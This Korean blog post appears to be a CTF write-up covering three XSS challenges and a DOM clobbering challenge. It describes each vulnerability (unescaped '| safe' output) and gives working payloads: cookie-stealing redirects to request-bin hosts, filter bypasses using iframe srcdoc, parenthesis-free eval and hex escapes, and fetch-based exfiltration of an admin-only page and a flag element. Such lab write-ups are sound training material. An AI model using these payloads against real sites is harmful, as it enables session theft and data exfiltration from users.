[XSS1]
- 공격벡터
view.html에서 | safe 로 인해 스크립트 삽입 가능
작성한 글이 보여지면서 의도치 않게 스크립트 코드 실행가능할 듯
<script>alert(1)</script> content로 넣어봤을 때 잘 실행됨
- exploit 과정
bot.py는 admin id/pw로 로그인 후 특정 url에 접속함
xss1.py에서는 로그인 성공 시 userid=”admin”이면 flag 쿠키를 세팅해준다 → leak하면 될 듯
외부공개된 url(http://2023whs.arang.kr:9001)과 내부 네트워크 url(http://arang_client:9001) 다름에 주의
Content에 <script>location.href=”request bin 주소”+document.cookie</script> 작성해두고
/report 엔드포인트에서 봇으로 하여금 http://arang_client:9001/board/[게시물번호] 접속하게 하면 됨
[XSS2]
- 공격벡터
view.html에서 | safe로 인해 스크립트 삽입 가능, xss 취약점 발생
xss 필터가 걸려있지만, iframe 사용해서 우회가 가능하다. srcdoc 안에서 html 엔티티 이용해 우회 가능하다 굿
- exploit 과정
<iframe srcdoc="요기 안에 html 요소 넣을 수 있는데 html entities 넣어도 됨”></iframe>
n은 n i는 i 이다 참고로
<script>location.href="[request bin 주소]?FLAG="+document.cookie</script> payload 실행 목표
<iframe srcdoc="<script>location.href=`https://enjzop8ddhjnl.x.pipedream.net?`+document.cookie</script>"></iframe>
// 이렇게 script 태그를 삽입해도 되고
<iframe srcdoc="<img src=x onerror=location.href=`https://enjzop8ddhjnl.x.pipedream.net?`+document.cookie>"></iframe>
// 이렇게 이벤트 핸들러 이용해도 됨
[XSS3]
- 공격벡터
0번 게시물에 flag 담겨있음. “admin” 계정으로만 해당 게시물 읽을 수 있음.
마찬가지로 view.html 에 | safe로 인해 xss 취약점 발생
하지만 필터링이 더 빡세졌다. script는 필터링 안했으므로 <script> 태그 사용 가능.
eval() 사용하면 좋겠다 => window[`ev`+`al`] 로 필터링 우회 가능
괄호, ‘ , “ 전부 필터링 => 구글링하다 야무진 사이트 (https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) 발견 => eval.apply`${[`alert\x2823\x29`]}` 이런 식으로 괄호랑 따옴표 없이 실행 가능하다. 각종 단어 필터링도 우회 가능할 듯
<script>window[`ev`+`al`].apply`${[`alert\x2823\x29`]}`</script> 해봤더니 잘 동작하더라
- exploit 과정
admin 로그인된 채로 0번 게시물 내용 읽어서 외부 url로 보내는 JS코드
<script>window[`ev`+`al`].apply`${[`\x28async \x28\x29 => { let r = await f\x65tch\x28\x22http://arang_client:9003/board/0\x22\x29;
let h = await r.text\x28\x29; await f\x65tch\x28\x22https://en0slqr5z6ebpg.x.pipedream.net\x22,
{ method: \x22POST\x22, headers: { \x22Co\x6etent-Type\x22: \x22applicatio\x6e/jso\x6e\x22}, body: JSO\x4e.stringify\x28{ html: h }\x29 }\x29;}\x29\x28\x29;`]}`</script>
이런 식으로 필터링 걸릴만한 애들 \x[16진수]로 우회해주면 된다
DOM Clobbering
- 공격벡터
eval()함수를 사용하기 위해 window.CLOB가 not null이어야 하며, CLOB.isAdmin이 정의되어있어야 함.
echo waf(_GET[“c”]); 를 통해 HTML element 삽입 가능하다
?c=<p id=CLOB name=isAdmin></p><p id=CLOB></p> 해서 dom clobbering 취약점 발생 확인, 하지만 eval에서 HTML 요소 해석을 못해 콘솔창에 에러 발생
- exploit 과정
payload는 [Javascript code] + [HTML Content] 로 구성한다.
- HTML content가 js 코드로 해석 안되는 문제 => 문자열인척 해버리자
- 각종 단어 필터링 => String.fromCharcode(), / ~ /.source 등일 이용해 우회하자
- id=”flag”인 element를 찾아 innerText를 외부 Request bin으로 leak 하면 됨
?c=alert(/hi/.source);var a=/<img id=CLOB name=isAdmin><img id=CLOB>/.source;
=> alert 창 뜸을 확인
?c=fetch(/https:/.source %2b String.fromCharCode(47) %2b String.fromCharCode(47) %2b /enyvb9178t6xp.x.pipedream.net?FLAG=/.source %2b document.getElementById(727432..toString(36)).innerText);var a=/<img id=CLOB name=isAdmin><img id=CLOB>/.source;
=> Request bin에 GET 요청 오는 것 확인
http://arang_client2:9200/domclobbering.php?c=fetch(/https:/.source %252b String.fromCharCode(47) %252b String.fromCharCode(47) %252b /enyvb9178t6xp.x.pipedream.net?FLAG=/.source %252b document.getElementById(727432..toString(36)).innerText);var a=/<img id=CLOB name=isAdmin><img id=CLOB>/.source;
=> +를 두 번 인코딩해줘야한다. (client -> bot.py -> 내부망)
=> arang_client:9200 으로 아무리해도 안되길래 dockerfile들 살펴봤는데 컨테이너명이 arang_client2 이더라
'security > 화이트햇' 카테고리의 다른 글
Mini CTF - SQLI (0) | 2024.01.09 |
---|---|
Mini CTF - XSS, DOM Clobbering (0) | 2024.01.07 |
IDA에서 사용자 정의 구조체 생성하기 (1) | 2024.01.06 |
Windbg 커맨드 정리 (2) | 2024.01.06 |
WTF(What The Fuzz) 퍼저를 활용해 타겟 분석하기 (2) | 2024.01.06 |